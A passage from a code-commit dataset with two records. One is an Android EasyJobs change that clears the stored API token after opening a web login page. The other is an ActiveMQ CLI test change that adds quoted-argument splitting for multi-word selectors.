}
@Override
public void onSuccess(int statusCode, Header[] headers, String content) {
hideLoading();
String etag = getHeader(headers, ETAG);
saveETagAndContent(JOBS_INDEX_URL, etag, content);
parseContent(content);
}
});
}
private void parseContent(String content) {
try {
List<Map<String, Object>> data = new ArrayList<Map<String, Object>>();
JSONArray jobs = new JSONArray(content);
for (int i = 0; i < jobs.length(); i++) {
JSONObject object = jobs.getJSONObject(i);
Map<String, Object> map = new HashMap<String, Object>();
map.put("ID", object.getInt("id"));
map.put("KEY", object.getString("name"));
String server = object.getString("server_name");
if (server.equals("null")) server = getString(R.string.no_server);
map.put("VALUE", server);
int type_id = 0;
if (!object.isNull("type_id")) type_id = object.getInt("type_id");
map.put("TYPE_ID", type_id);
String type_name = object.getString("type_name");
if (type_name.equals("null")) type_name = getString(R.string.orphans);
map.put("TYPE_NAME", type_name);
data.add(map);
}
Collections.sort(data, new Comparator<Map<String, Object>>() {
@Override
public int compare(Map<String, Object> obj1, Map<String, Object> obj2) {
return Integer.parseInt(obj1.get("TYPE_ID").toString()) -
Integer.parseInt(obj2.get("TYPE_ID").toString());
}
});
String last_type_name = null;
for (int i = 0; i < data.size(); i++) {
Map<String, Object> object = data.get(i);
String type_name = object.get("TYPE_NAME").toString();
if (type_name.equals(last_type_name)) continue;
Map<String, Object> map = new HashMap<String, Object>();
map.put("KEY", type_name);
data.add(i, map);
last_type_name = type_name;
}
{
Map<String, Object> map = new HashMap<String, Object>();
map.put("KEY", getString(R.string.actions));
data.add(map);
}
int[] other_buttons_text = {R.string.browse_web_page, R.string.revoke_access};
int[] other_buttons_desc = {R.string.browse_web_page_desc, R.string.revoke_access_desc};
for (int i = 0; i < other_buttons_text.length; i++) {
Map<String, Object> map = new HashMap<String, Object>();
map.put("KEY", getString(other_buttons_text[i]));
map.put("VALUE", getString(other_buttons_desc[i]));
data.add(map);
}
EasyJobsAdapter adapter = new EasyJobsAdapter(Jobs.this, R.layout.listview_jobs_items,
data);
ListView listview_jobs = (ListView) findViewById(R.id.listView_jobs);
listview_jobs.setAdapter(adapter);
listview_jobs.setOnItemClickListener(new AdapterView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> adapterView, View view, int i, long l) {
switch (i - adapterView.getCount()) {
case -1:
toRevokeAccess();
break;
case -2:
toBrowseWebPage();
break;
default:
Object item = adapterView.getAdapter().getItem(i);
if (item instanceof Map) {
if (!((Map) item).containsKey("ID")) break;
int ID = Integer.parseInt(((Map) item).get("ID").toString());
Intent intent = new Intent(Jobs.this, JobsDetails.class);
intent.putExtra("API_TOKEN", API_TOKEN);
intent.putExtra("JOB_ID", ID);
intent.putExtra("JOBS_SHOW_URL", JOBS_SHOW_URL);
intent.putExtra("JOBS_RUN_URL", JOBS_RUN_URL);
intent.putExtra("JOBS_PARAMETERS_INDEX_URL",
JOBS_PARAMETERS_INDEX_URL);
Jobs.this.startActivity(intent);
}
}
}
});
listview_jobs.setOnItemLongClickListener(new AdapterView.OnItemLongClickListener() {
@Override
public boolean onItemLongClick(AdapterView<?> adapterView, View view, int i, long l) {
Object item = adapterView.getAdapter().getItem(i);
if (item instanceof Map) {
if (((Map) item).containsKey("KEY")) {
copyText(((Map) item).get("KEY").toString());
Toast.makeText(Jobs.this, R.string.string_copied, Toast.LENGTH_SHORT).show();
return true;
}
}
return false;
}
});
} catch (JSONException e) {
showSimpleErrorDialog(getString(R.string.error_should_update_easyjobs));
showReloadAndScanButton();
}
}
private void showScanButton() {
List<Map<String, Object>> data = new ArrayList<Map<String, Object>>();
Map<String, Object> map = new HashMap<String, Object>();
map.put("K", getString(R.string.scan));
map.put("V", getString(R.string.scan_desc));
data.add(map);
map = new HashMap<String, Object>();
map.put("K", getString(R.string.about));
map.put("V", getString(R.string.about_desc));
data.add(map);
SimpleAdapter adapter = new SimpleAdapter(Jobs.this, data,
R.layout.listview_jobs_items, new String[]{"K", "V"},
new int[]{R.id.text_key, R.id.text_value});
ListView listview_jobs = (ListView) findViewById(R.id.listView_jobs);
listview_jobs.setAdapter(adapter);
listview_jobs.setOnItemClickListener(new AdapterView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> adapterView, View view, int i, long l) {
switch (i) {
case 0:
openScanner();
break;
case 1:
showAboutInfo();
break;
}
}
});
}
private void showReloadAndScanButton() {
List<Map<String, Object>> data = new ArrayList<Map<String, Object>>();
Map<String, Object> map = new HashMap<String, Object>();
map.put("K", getString(R.string.retry));
map.put("V", getString(R.string.retry_desc));
data.add(map);
map = new HashMap<String, Object>();
map.put("K", getString(R.string.scan));
map.put("V", getString(R.string.scan_desc));
data.add(map);
map = new HashMap<String, Object>();
map.put("K", getString(R.string.revoke_access));
map.put("V", getString(R.string.revoke_access_desc));
data.add(map);
SimpleAdapter adapter = new SimpleAdapter(Jobs.this, data,
R.layout.listview_jobs_items, new String[]{"K", "V"},
new int[]{R.id.text_key, R.id.text_value});
ListView listview_jobs = (ListView) findViewById(R.id.listView_jobs);
listview_jobs.setAdapter(adapter);
listview_jobs.setOnItemClickListener(new AdapterView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> adapterView, View view, int i, long l) {
switch (i) {
case 0:
startEasyJobs();
break;
case 1:
openScanner();
break;
case 2:
toRevokeAccess();
break;
}
}
});
}
private void openScanner() {
try {
Intent intent = new Intent("com.google.zxing.client.android.SCAN");
intent.putExtra("SCAN_MODE", "QR_CODE_MODE");
startActivityForResult(intent, 1);
} catch (ActivityNotFoundException e) {
AlertDialog alertDialog = new AlertDialog.Builder(Jobs.this).create();
alertDialog.setTitle(R.string.error);
alertDialog.setMessage(getString(R.string.error_barcode_scanner_not_installed));
alertDialog.setButton(AlertDialog.BUTTON_NEGATIVE, getString(R.string.cancel),
new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
}
});
alertDialog.setButton(AlertDialog.BUTTON_POSITIVE, getString(R.string.ok),
new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse(
"market://details?id=com.google.zxing.client.android"));
startActivity(intent);
}
});
alertDialog.show();
}
}
public void onActivityResult(int requestCode, int resultCode, Intent intent) {
if (requestCode == 1 && resultCode == RESULT_OK) {
String content = intent.getStringExtra("SCAN_RESULT");
if (content == null) return;
decode(content);
}
}
private void decode(String content) {
String decoded_content = null;
try {
byte[] decoded = Base64.decode(content, Base64.NO_WRAP);
decoded_content = new String(decoded);
} catch (IllegalArgumentException e) {
showSimpleErrorDialog(getString(R.string.error_invalid_qrcode));
}
if (decoded_content != null) {
try {
JSONObject object = new JSONObject(decoded_content);
int VERSION = object.getInt("v");
String URL = object.getString("u");
String CONTENT = object.getString("c");
// validate version number
if (VERSION <= 0) throw new JSONException(null);
if (VERSION > MAX_API_VERSION)
throw new Exception(getString(R.string.error_please_update_app));
// validate help URL
URL url = new URL(URL);
url.toURI(); // stop never used warning
if (CONTENT.length() == 0)
throw new Exception(getString(R.string.error_invalid_qrcode));
SharedPreferences sharedPrefs = getSharedPreferences(PREF_FILE, 0);
SharedPreferences.Editor editor = sharedPrefs.edit();
editor.putInt(PREF_VERSION, VERSION);
editor.putString(PREF_URL, URL);
editor.putString(PREF_CONTENT, CONTENT);
editor.commit();
} catch (MalformedURLException e) {
showSimpleErrorDialog(getString(R.string.error_invalid_url));
} catch (JSONException e) {
showSimpleErrorDialog(getString(R.string.error_invalid_qrcode));
} catch (Exception e) {
showSimpleErrorDialog(e.getMessage());
}
if (readPrefs()) {
startEasyJobs();
}
}
}
private void toBrowseWebPage() {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setMessage(R.string.confirm_browse_webpage).setPositiveButton(R.string.yes,
new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
Intent intent = new Intent(Intent.ACTION_VIEW,
Uri.parse(TOKEN_LOGIN_URL.replace(":token", API_TOKEN)));
startActivity(intent);
}
}).setNegativeButton(R.string.no, null).show();
}
private void toRevokeAccess() {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setMessage(R.string.confirm_revoke_access).setPositiveButton(R.string.yes,
new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
revokeAccess();
}
}).setNegativeButton(R.string.no, null).show();
}
private void revokeAccessOnly() {
SharedPreferences sharedPrefs = getSharedPreferences(PREF_FILE, 0);
SharedPreferences.Editor editor = sharedPrefs.edit();
editor.clear();
editor.commit();
clearEtags();
AsyncHttpClient client = new AsyncHttpClient();
client.delete(REVOKE_TOKEN_URL + "?token=" + API_TOKEN, new AsyncHttpResponseHandler() {
@Override
public void onSuccess(String response) {
}
});
}
private void revokeAccess() {
revokeAccessOnly();
setAllVariablesToEmpty();
updateTitle();
startEasyJobs();
}
private void setAllVariablesToEmpty() {
API_HELP_URL = "";
API_TOKEN = "";
JOBS_INDEX_VERB = "";
JOBS_INDEX_URL = "";
JOBS_SHOW_URL = "";
JOBS_RUN_URL = "";
JOBS_PARAMETERS_INDEX_URL = "";
REVOKE_TOKEN_URL = "";
TOKEN_LOGIN_URL = "";
}
private void updateTitle() {
if (API_HELP_URL.length() > 0) {
Uri uri = Uri.parse(API_HELP_URL);
String host = uri.getHost();
if (uri.getPort() > 0 && uri.getPort() != 80) {
host += ":" + uri.getPort();
}
setTitle(getString(R.string.app_name) + " - " + host);
} else {
setTitle(getString(R.string.app_name));
}
}
}
| auto revoke access on this phone after opening the web page;
| EasyJobs/src/main/java/com/cghio/easyjobs/Jobs.java | auto revoke access on this phone after opening the web page; | <ide><path>asyJobs/src/main/java/com/cghio/easyjobs/Jobs.java
<ide> Intent intent = new Intent(Intent.ACTION_VIEW,
<ide> Uri.parse(TOKEN_LOGIN_URL.replace(":token", API_TOKEN)));
<ide> startActivity(intent);
<add> revokeAccessWithoutSendingRevokeAccessRequest();
<ide> }
<ide> }).setNegativeButton(R.string.no, null).show();
<ide> }
<ide> }).setNegativeButton(R.string.no, null).show();
<ide> }
<ide>
<del> private void revokeAccessOnly() {
<add> private void removeAccessCredentialsOnly() {
<ide> SharedPreferences sharedPrefs = getSharedPreferences(PREF_FILE, 0);
<ide> SharedPreferences.Editor editor = sharedPrefs.edit();
<ide> editor.clear();
<ide> editor.commit();
<ide>
<ide> clearEtags();
<add> }
<add>
<add> private void revokeAccessOnly() {
<add> removeAccessCredentialsOnly();
<ide>
<ide> AsyncHttpClient client = new AsyncHttpClient();
<ide> client.delete(REVOKE_TOKEN_URL + "?token=" + API_TOKEN, new AsyncHttpResponseHandler() {
<ide> public void onSuccess(String response) {
<ide> }
<ide> });
<add> }
<add>
<add> private void revokeAccessWithoutSendingRevokeAccessRequest() {
<add> removeAccessCredentialsOnly();
<add> setAllVariablesToEmpty();
<add> updateTitle();
<add> startEasyJobs();
<ide> }
<ide>
<ide> private void revokeAccess() { |
|
Java | apache-2.0 | f21dd6b68fe151b906df7c20a9678c71f2f881d1 | 0 | fmtn/a,northlander/a,fmtn/a | package com.libzter.a;
import org.apache.activemq.broker.BrokerService;
import org.apache.activemq.command.ActiveMQDestination;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.springframework.beans.factory.annotation.Autowired;
import javax.jms.*;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import static com.libzter.a.A.*;
import static com.libzter.a.A.CMD_GET;
import static com.libzter.a.A.CMD_WAIT;
import static org.junit.Assert.*;
/**
* A base class with all the test cases.
* The actual transport protocol has to be implemented as well as the broker implementation.
* This is done in the real test classes. They could test any JMS complaint protocol and broker.
*
* This makes it easy to test that the basic functionality works with different ActiveMQ configurations.
*
* Created by petter on 2015-01-30.
*/
public abstract class BaseTest {
protected static final String LN = System.getProperty("line.separator");
protected static final long TEST_TIMEOUT = 2000L;
protected Connection connection;
protected Session session;
protected ConnectionFactory cf;
protected ExecutorService executor;
protected A a;
protected ATestOutput output;
protected Destination testTopic, testQueue, sourceQueue, targetQueue;
protected TextMessage testMessage;
@Autowired
protected BrokerService amqBroker;
protected abstract ConnectionFactory getConnectionFactory();
protected abstract String getConnectCommand();
@Before
public void setupJMS() throws Exception {
cf = getConnectionFactory();
connection = cf.createConnection();
session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
executor = Executors.newSingleThreadExecutor();
a = new A();
output = new ATestOutput();
a.output = output;
// Clear
for(ActiveMQDestination destination : amqBroker.getRegionBroker().getDestinations()){
amqBroker.getRegionBroker().removeDestination(
amqBroker.getRegionBroker().getAdminConnectionContext(),
destination,1);
}
testTopic = session.createTopic("TEST.TOPIC");
testQueue = session.createQueue("TEST.QUEUE");
sourceQueue = session.createQueue("SOURCE.QUEUE");
targetQueue = session.createQueue("TARGET.QUEUE");
testMessage = session.createTextMessage("test");
connection.start();
}
@After
public void disconnectJMS() throws JMSException {
session.close();
connection.close();
executor.shutdown();
}
@Test
public void testPutQueue() throws Exception{
String cmdLine = getConnectCommand() + "-" + CMD_PUT + "\"test\"" + " TEST.QUEUE";
a.run(cmdLine.split(" "));
MessageConsumer mc = session.createConsumer(testQueue);
TextMessage msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertEquals("test",msg.getText());
}
@Test
public void testPutWithPriority() throws Exception{
final int priority = 6;
String cmdLine = getConnectCommand() + "-" + CMD_PRIORITY +" " + priority + " -" + CMD_PUT + "\"test\""
+ " TEST.QUEUE";
a.run(cmdLine.split(" "));
MessageConsumer mc = session.createConsumer(testQueue);
TextMessage msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertEquals("test",msg.getText());
assertEquals(priority,msg.getJMSPriority());
}
@Test
public void testPutTopic() throws Exception{
String cmdLine = getConnectCommand() + "-" + CMD_PUT + "\"test\"" + " topic://TEST.TOPIC";
Future<TextMessage> resultMessage = executor.submit(new Callable<TextMessage>(){
public TextMessage call() throws Exception {
MessageConsumer mc = session.createConsumer(testTopic);
return (TextMessage)mc.receive(TEST_TIMEOUT);
}
});
a.run(cmdLine.split(" "));
assertEquals("test",resultMessage.get().getText());
}
@Test
public void testGetQueue() throws Exception{
MessageProducer mp = session.createProducer(testQueue);
mp.send(testMessage);
String cmdLine = getConnectCommand() + "-" + CMD_GET + " -" +
CMD_WAIT + " 2000" + " TEST.QUEUE";
a.run(cmdLine.split(" "));
String out = output.grab();
assertTrue("Payload test expected",out.contains("Payload:"+LN+"test"));
}
@Test
public void testGetTopic() throws Exception{
final String cmdLine = getConnectCommand() + "-" + CMD_GET + " -" +
CMD_WAIT + " 4000" + " topic://TEST.TOPIC";
Future<String> resultString = executor.submit(new Callable<String>(){
public String call() throws Exception {
a.run(cmdLine.split(" "));
return output.grab();
}
});
Thread.sleep(300); // TODO remove somehow?
MessageProducer mp = session.createProducer(testTopic);
mp.send(testMessage);
String result = resultString.get();
assertTrue("Payload test expected",result.contains("Payload:"+LN+"test"));
}
/**
* Test that all messages are copied (not moved) from one queue to the other.
* @throws Exception
*/
@Test
public void testCopyQueue() throws Exception{
final String cmdLine = getConnectCommand() + "-" + CMD_COPY_QUEUE + " SOURCE.QUEUE TARGET.QUEUE";
MessageProducer mp = session.createProducer(sourceQueue);
mp.send(testMessage);
mp.send(testMessage);
a.run(cmdLine.split(" "));
MessageConsumer mc = session.createConsumer(sourceQueue);
TextMessage msg = null;
// Verify messages are left on source queue
msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertNotNull(msg);
msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertNotNull(msg);
msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertNull(msg);
// Verify messages are copied to target queue
mc = session.createConsumer(targetQueue);
msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertNotNull(msg);
msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertNotNull(msg);
msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertNull(msg);
}
/**
* Test that all messages are moved from one queue to the other.
* @throws Exception
*/
@Test
public void testMoveQueue() throws Exception{
final String cmdLine = getConnectCommand() + "-" + CMD_MOVE_QUEUE + " SOURCE.QUEUE TARGET.QUEUE";
MessageProducer mp = session.createProducer(sourceQueue);
mp.send(testMessage);
mp.send(testMessage);
a.run(cmdLine.split(" "));
MessageConsumer mc = session.createConsumer(sourceQueue);
TextMessage msg = null;
// Verify NO messages are left on source queue
msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertNull(msg);
// Verify messages are moved to target queue
mc = session.createConsumer(targetQueue);
msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertNotNull(msg);
msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertNotNull(msg);
msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertNull(msg);
}
@Test
public void testGetCount() throws Exception{
final String cmdLine = getConnectCommand() + "-" + CMD_GET + " -" + CMD_COUNT + "2 TEST.QUEUE";
MessageProducer mp = session.createProducer(testQueue);
mp.send(testMessage);
mp.send(testMessage);
a.run(cmdLine.split(" "));
String out = output.grab().replaceFirst("Operation completed in .+","");
final String expectedOut = "-----------------" + LN +
"Message Properties" + LN +
"Payload:" + LN +
"test" + LN +
"-----------------" + LN +
"Message Properties" + LN +
"Payload:" + LN +
"test" + LN + LN;
assertEquals(expectedOut,out);
}
@Test
public void testMoveSelector() throws Exception{
final String cmdLine = getConnectCommand() + "-" + CMD_MOVE_QUEUE + " SOURCE.QUEUE -s identity='theOne' TARGET.QUEUE";
MessageProducer mp = session.createProducer(sourceQueue);
Message theOne = session.createTextMessage("theOne"); // message
theOne.setStringProperty("identity","theOne");
Message theOther = session.createTextMessage("theOther"); // message
theOther.setStringProperty("identity","theOther");
mp.send(theOne);
mp.send(theOther);
a.run(cmdLine.split(" "));
List<TextMessage> msgs = getAllMessages(session.createConsumer(sourceQueue));
assertEquals(1,msgs.size());
assertEquals("theOther",msgs.get(0).getText());
msgs = getAllMessages(session.createConsumer(targetQueue));
assertEquals(1,msgs.size());
assertEquals("theOne",msgs.get(0).getText());
}
@Test
public void testCopySelector() throws Exception{
final String cmdLine = getConnectCommand() + "-" + CMD_COPY_QUEUE + " SOURCE.QUEUE -s \"identity='the One'\" TARGET.QUEUE";
MessageProducer mp = session.createProducer(sourceQueue);
Message theOne = session.createTextMessage("theOne"); // message
theOne.setStringProperty("identity","the One");
Message theOther = session.createTextMessage("theOther"); // message
theOther.setStringProperty("identity","theOther");
mp.send(theOne);
mp.send(theOther);
a.run(splitCmdLine(cmdLine));
List<TextMessage> msgs = getAllMessages(session.createConsumer(sourceQueue));
assertEquals(2,msgs.size());
msgs = getAllMessages(session.createConsumer(targetQueue));
assertEquals(1,msgs.size());
assertEquals("theOne",msgs.get(0).getText());
}
/**
* Needed to split command line arguments by space, but not quoted.
* @param cmdLine command line
* @return the arguments.
*/
protected String[] splitCmdLine(String cmdLine){
List<String> matchList = new ArrayList<String>();
Pattern regex = Pattern.compile("[^\\s\"]+|\"([^\"]*)\"");
Matcher regexMatcher = regex.matcher(cmdLine);
while (regexMatcher.find()) {
if (regexMatcher.group(1) != null) {
matchList.add(regexMatcher.group(1));
} else {
matchList.add(regexMatcher.group());
}
}
return matchList.toArray(new String[0]);
}
protected List<TextMessage> getAllMessages(MessageConsumer mc) throws JMSException {
TextMessage msg = null;
List<TextMessage> msgs = new ArrayList<TextMessage>();
while( (msg = (TextMessage) mc.receive(TEST_TIMEOUT))!=null){
msgs.add(msg);
}
return msgs;
}
}
| src/test/java/com/libzter/a/BaseTest.java | package com.libzter.a;
import org.apache.activemq.broker.BrokerService;
import org.apache.activemq.command.ActiveMQDestination;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.springframework.beans.factory.annotation.Autowired;
import javax.jms.*;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
import static com.libzter.a.A.*;
import static com.libzter.a.A.CMD_GET;
import static com.libzter.a.A.CMD_WAIT;
import static org.junit.Assert.*;
/**
* A base class with all the test cases.
* The actual transport protocol has to be implemented as well as the broker implementation.
* This is done in the real test classes. They could test any JMS complaint protocol and broker.
*
* This makes it easy to test that the basic functionality works with different ActiveMQ configurations.
*
* Created by petter on 2015-01-30.
*/
public abstract class BaseTest {
protected static final String LN = System.getProperty("line.separator");
protected static final long TEST_TIMEOUT = 2000L;
protected Connection connection;
protected Session session;
protected ConnectionFactory cf;
protected ExecutorService executor;
protected A a;
protected ATestOutput output;
protected Destination testTopic, testQueue, sourceQueue, targetQueue;
protected TextMessage testMessage;
@Autowired
protected BrokerService amqBroker;
protected abstract ConnectionFactory getConnectionFactory();
protected abstract String getConnectCommand();
@Before
public void setupJMS() throws Exception {
cf = getConnectionFactory();
connection = cf.createConnection();
session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
executor = Executors.newSingleThreadExecutor();
a = new A();
output = new ATestOutput();
a.output = output;
// Clear
for(ActiveMQDestination destination : amqBroker.getRegionBroker().getDestinations()){
amqBroker.getRegionBroker().removeDestination(
amqBroker.getRegionBroker().getAdminConnectionContext(),
destination,1);
}
testTopic = session.createTopic("TEST.TOPIC");
testQueue = session.createQueue("TEST.QUEUE");
sourceQueue = session.createQueue("SOURCE.QUEUE");
targetQueue = session.createQueue("TARGET.QUEUE");
testMessage = session.createTextMessage("test");
connection.start();
}
@After
public void disconnectJMS() throws JMSException {
session.close();
connection.close();
executor.shutdown();
}
@Test
public void testPutQueue() throws Exception{
String cmdLine = getConnectCommand() + "-" + CMD_PUT + "\"test\"" + " TEST.QUEUE";
a.run(cmdLine.split(" "));
MessageConsumer mc = session.createConsumer(testQueue);
TextMessage msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertEquals("test",msg.getText());
}
@Test
public void testPutWithPriority() throws Exception{
final int priority = 6;
String cmdLine = getConnectCommand() + "-" + CMD_PRIORITY +" " + priority + " -" + CMD_PUT + "\"test\""
+ " TEST.QUEUE";
a.run(cmdLine.split(" "));
MessageConsumer mc = session.createConsumer(testQueue);
TextMessage msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertEquals("test",msg.getText());
assertEquals(priority,msg.getJMSPriority());
}
@Test
public void testPutTopic() throws Exception{
String cmdLine = getConnectCommand() + "-" + CMD_PUT + "\"test\"" + " topic://TEST.TOPIC";
Future<TextMessage> resultMessage = executor.submit(new Callable<TextMessage>(){
public TextMessage call() throws Exception {
MessageConsumer mc = session.createConsumer(testTopic);
return (TextMessage)mc.receive(TEST_TIMEOUT);
}
});
a.run(cmdLine.split(" "));
assertEquals("test",resultMessage.get().getText());
}
@Test
public void testGetQueue() throws Exception{
MessageProducer mp = session.createProducer(testQueue);
mp.send(testMessage);
String cmdLine = getConnectCommand() + "-" + CMD_GET + " -" +
CMD_WAIT + " 2000" + " TEST.QUEUE";
a.run(cmdLine.split(" "));
String out = output.grab();
assertTrue("Payload test expected",out.contains("Payload:"+LN+"test"));
}
@Test
public void testGetTopic() throws Exception{
final String cmdLine = getConnectCommand() + "-" + CMD_GET + " -" +
CMD_WAIT + " 4000" + " topic://TEST.TOPIC";
Future<String> resultString = executor.submit(new Callable<String>(){
public String call() throws Exception {
a.run(cmdLine.split(" "));
return output.grab();
}
});
Thread.sleep(300); // TODO remove somehow?
MessageProducer mp = session.createProducer(testTopic);
mp.send(testMessage);
String result = resultString.get();
assertTrue("Payload test expected",result.contains("Payload:"+LN+"test"));
}
/**
* Test that all messages are copied (not moved) from one queue to the other.
* @throws Exception
*/
@Test
public void testCopyQueue() throws Exception{
final String cmdLine = getConnectCommand() + "-" + CMD_COPY_QUEUE + " SOURCE.QUEUE TARGET.QUEUE";
MessageProducer mp = session.createProducer(sourceQueue);
mp.send(testMessage);
mp.send(testMessage);
a.run(cmdLine.split(" "));
MessageConsumer mc = session.createConsumer(sourceQueue);
TextMessage msg = null;
// Verify messages are left on source queue
msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertNotNull(msg);
msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertNotNull(msg);
msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertNull(msg);
// Verify messages are copied to target queue
mc = session.createConsumer(targetQueue);
msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertNotNull(msg);
msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertNotNull(msg);
msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertNull(msg);
}
/**
* Test that all messages are moved from one queue to the other.
* @throws Exception
*/
@Test
public void testMoveQueue() throws Exception{
final String cmdLine = getConnectCommand() + "-" + CMD_MOVE_QUEUE + " SOURCE.QUEUE TARGET.QUEUE";
MessageProducer mp = session.createProducer(sourceQueue);
mp.send(testMessage);
mp.send(testMessage);
a.run(cmdLine.split(" "));
MessageConsumer mc = session.createConsumer(sourceQueue);
TextMessage msg = null;
// Verify NO messages are left on source queue
msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertNull(msg);
// Verify messages are moved to target queue
mc = session.createConsumer(targetQueue);
msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertNotNull(msg);
msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertNotNull(msg);
msg = (TextMessage)mc.receive(TEST_TIMEOUT);
assertNull(msg);
}
@Test
public void testGetCount() throws Exception{
final String cmdLine = getConnectCommand() + "-" + CMD_GET + " -" + CMD_COUNT + "2 TEST.QUEUE";
MessageProducer mp = session.createProducer(testQueue);
mp.send(testMessage);
mp.send(testMessage);
a.run(cmdLine.split(" "));
String out = output.grab().replaceFirst("Operation completed in .+","");
final String expectedOut = "-----------------" + LN +
"Message Properties" + LN +
"Payload:" + LN +
"test" + LN +
"-----------------" + LN +
"Message Properties" + LN +
"Payload:" + LN +
"test" + LN + LN;
assertEquals(expectedOut,out);
}
@Test
public void testMoveSelector() throws Exception{
final String cmdLine = getConnectCommand() + "-" + CMD_MOVE_QUEUE + " SOURCE.QUEUE -s identity='theOne' TARGET.QUEUE";
MessageProducer mp = session.createProducer(sourceQueue);
Message theOne = session.createTextMessage("theOne"); // message
theOne.setStringProperty("identity","theOne");
Message theOther = session.createTextMessage("theOther"); // message
theOther.setStringProperty("identity","theOther");
mp.send(theOne);
mp.send(theOther);
a.run(cmdLine.split(" "));
List<TextMessage> msgs = getAllMessages(session.createConsumer(sourceQueue));
assertEquals(1,msgs.size());
assertEquals("theOther",msgs.get(0).getText());
msgs = getAllMessages(session.createConsumer(targetQueue));
assertEquals(1,msgs.size());
assertEquals("theOne",msgs.get(0).getText());
}
@Test
public void testCopySelector() throws Exception{
final String cmdLine = getConnectCommand() + "-" + CMD_COPY_QUEUE + " SOURCE.QUEUE -s identity='theOne' TARGET.QUEUE";
MessageProducer mp = session.createProducer(sourceQueue);
Message theOne = session.createTextMessage("theOne"); // message
theOne.setStringProperty("identity","theOne");
Message theOther = session.createTextMessage("theOther"); // message
theOther.setStringProperty("identity","theOther");
mp.send(theOne);
mp.send(theOther);
a.run(cmdLine.split(" "));
List<TextMessage> msgs = getAllMessages(session.createConsumer(sourceQueue));
assertEquals(2,msgs.size());
msgs = getAllMessages(session.createConsumer(targetQueue));
assertEquals(1,msgs.size());
assertEquals("theOne",msgs.get(0).getText());
}
protected List<TextMessage> getAllMessages(MessageConsumer mc) throws JMSException {
TextMessage msg = null;
List<TextMessage> msgs = new ArrayList<TextMessage>();
while( (msg = (TextMessage) mc.receive(TEST_TIMEOUT))!=null){
msgs.add(msg);
}
return msgs;
}
}
| Altered copy/selector test case to test multi word selectors. A more bash like approach to handle command line arguments.
| src/test/java/com/libzter/a/BaseTest.java | Altered copy/selector test case to test multi word selectors. A more bash like approach to handle command line arguments. | <ide><path>rc/test/java/com/libzter/a/BaseTest.java
<ide> import java.util.concurrent.ExecutorService;
<ide> import java.util.concurrent.Executors;
<ide> import java.util.concurrent.Future;
<add>import java.util.regex.Matcher;
<add>import java.util.regex.Pattern;
<ide>
<ide> import static com.libzter.a.A.*;
<ide> import static com.libzter.a.A.CMD_GET;
<ide>
<ide> @Test
<ide> public void testCopySelector() throws Exception{
<del> final String cmdLine = getConnectCommand() + "-" + CMD_COPY_QUEUE + " SOURCE.QUEUE -s identity='theOne' TARGET.QUEUE";
<add> final String cmdLine = getConnectCommand() + "-" + CMD_COPY_QUEUE + " SOURCE.QUEUE -s \"identity='the One'\" TARGET.QUEUE";
<ide> MessageProducer mp = session.createProducer(sourceQueue);
<ide>
<ide> Message theOne = session.createTextMessage("theOne"); // message
<del> theOne.setStringProperty("identity","theOne");
<add> theOne.setStringProperty("identity","the One");
<ide> Message theOther = session.createTextMessage("theOther"); // message
<ide> theOther.setStringProperty("identity","theOther");
<ide>
<ide> mp.send(theOne);
<ide> mp.send(theOther);
<ide>
<del> a.run(cmdLine.split(" "));
<add> a.run(splitCmdLine(cmdLine));
<ide> List<TextMessage> msgs = getAllMessages(session.createConsumer(sourceQueue));
<ide> assertEquals(2,msgs.size());
<ide>
<ide> assertEquals(1,msgs.size());
<ide> assertEquals("theOne",msgs.get(0).getText());
<ide> }
<del>
<add>
<add> /**
<add> * Needed to split command line arguments by space, but not quoted.
<add> * @param cmdLine command line
<add> * @return the arguments.
<add> */
<add> protected String[] splitCmdLine(String cmdLine){
<add> List<String> matchList = new ArrayList<String>();
<add> Pattern regex = Pattern.compile("[^\\s\"]+|\"([^\"]*)\"");
<add> Matcher regexMatcher = regex.matcher(cmdLine);
<add> while (regexMatcher.find()) {
<add> if (regexMatcher.group(1) != null) {
<add> matchList.add(regexMatcher.group(1));
<add> } else {
<add> matchList.add(regexMatcher.group());
<add> }
<add> }
